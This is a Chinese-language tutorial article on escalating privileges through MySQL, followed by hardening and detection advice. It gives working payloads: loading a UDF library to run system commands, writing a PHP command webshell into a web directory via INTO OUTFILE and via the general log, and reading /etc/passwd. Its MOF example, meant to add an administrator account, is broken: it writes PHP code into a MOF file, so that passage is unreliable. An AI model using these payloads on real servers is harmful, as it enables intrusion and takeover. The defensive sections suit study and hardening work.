菜鸟科技网

MySQL命令提权如何实现?

MySQL命令提权是指通过执行特定的MySQL命令或利用数据库的权限配置漏洞,获取操作系统更高权限的过程,这种提权通常发生在攻击者已经获得MySQL数据库的某种访问权限(如低权限用户)的情况下,通过数据库与操作系统的交互机制,提升至系统管理员权限,以下从原理、方法、防御措施等方面详细分析MySQL命令提权。

MySQL命令提权如何实现?-图1
(图片来源网络,侵删)

MySQL命令提权的原理

MySQL与操作系统的交互主要通过特定函数实现,如LOAD_FILE()SELECT ... INTO OUTFILE以及自定义函数(UDF)等,这些函数在默认配置下可能被滥用,导致执行系统命令。

  • UDF提权:用户自定义函数(UDF)允许MySQL调用动态链接库(.dll或.so文件)中的函数,攻击者可上传恶意UDF库,通过CREATE FUNCTION加载后执行系统命令。
  • LOAD_FILE()与路径遍历LOAD_FILE()可读取文件内容,若结合MySQL配置错误(如secure_file_priv设置不当),可能读取敏感文件(如/etc/passwd)或写入恶意文件。
  • SELECT ... INTO OUTFILE写Webshell:若MySQL有文件写入权限,可将PHP/ASP代码写入Web目录,获取Webshell。

常见提权方法及步骤

UDF提权(Windows/Linux)

前提条件

  • MySQL版本:5.1.0以上(Windows)、5.0.0以上(Linux)。
  • 权限:需mysql库的insertdeletecreate权限,且plugin目录可写。

步骤

  1. 上传恶意UDF库
    • Windows:上传lib_mysqludf_sys.dll到MySQL的plugin目录(如C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin)。
    • Linux:上传lib_mysqludf_sys.so/usr/lib/mysql/plugin//lib/mysql/plugin/
  2. 创建恶意函数
    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
  3. 执行系统命令
    SELECT sys_eval('whoami');

secure_file_priv配置利用

secure_file_priv参数限制LOAD_FILE()INTO OUTFILE的文件操作范围,若配置为空(secure_file_priv=""),则可操作任意目录。

MySQL命令提权如何实现?-图2
(图片来源网络,侵删)

示例

  • 写入Webshell:
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
  • 读取敏感文件:
    SELECT LOAD_FILE('/etc/passwd');

日志文件提权

若开启MySQL日志(如general_log),可将日志文件路径设置为Web目录,并写入恶意命令。

步骤

SET global general_log = 'ON';
SET global general_log_file = 'C:/xampp/htdocs/shell.php';
SELECT '<?php system($_GET["cmd"]); ?>';

Mof提权(仅Windows)

通过SELECT ... INTO DUMPFILE写入c:\windows\system32\wbem\mof\ntevent.mof,触发系统执行。

示例

SELECT '<?php system("net user admin admin123 /add"); ?>' INTO DUMPFILE 'c:\windows\system32\wbem\mof\ntevent.mof';

防御措施

限制MySQL权限

  • 禁止低权限用户使用FILESUPEREXECUTE等高危权限。
  • 使用GRANT最小权限原则,仅分配必要权限。

配置secure_file_priv

my.ini(Windows)或my.cnf(Linux)中设置:

[mysqld]
secure_file_priv = "D:/mysql_files"

限制文件操作目录。

关闭日志写入

禁用general_logslow_query_log,或将其路径设置为非Web目录。

系统加固

  • 定期更新MySQL版本,修复已知漏洞。
  • 使用防火墙限制MySQL端口(如3306)的访问来源。
  • 运行MySQL以低权限用户(如mysql)启动,避免使用root

文件系统权限

  • 限制MySQL用户对plugin目录和Web目录的写权限。
  • 在Linux中设置/usr/lib/mysql/plugin目录为root:root,权限755

提权检测方法

  1. 检查高危权限
    SHOW GRANTS FOR 'user'@'localhost';

    查看是否包含GRANT ALLSUPER等权限。

  2. 检查secure_file_priv
    SELECT @@secure_file_priv;

    若返回空,则存在风险。

  3. 扫描可疑文件: 检查plugin目录下是否存在非官方UDF库(如lib_mysqludf_sys.dll)。

相关问答FAQs

Q1: 如何判断MySQL是否具备UDF提权条件?
A1: 需满足以下条件:

  • MySQL版本在5.1.0以上(Windows)或5.0.0以上(Linux)。
  • 用户拥有mysql库的insertdeletecreate权限。
  • MySQL用户对plugin目录有写权限(可通过SHOW VARIABLES LIKE 'plugin_dir'查看路径,并检查文件系统权限)。

Q2: 如果secure_file_priv被设置为非空目录,是否完全无法提权?
A2: 不一定,若secure_file_priv指向的目录可被Web服务访问(如D:/mysql_files),攻击者仍可通过INTO OUTFILE写入Webshell,此时需结合其他漏洞(如文件包含)利用,最佳实践是将其设置为不可访问的目录(如D:/data/mysql_files)或禁用文件写入功能。

分享:
扫描分享到社交APP
上一篇
下一篇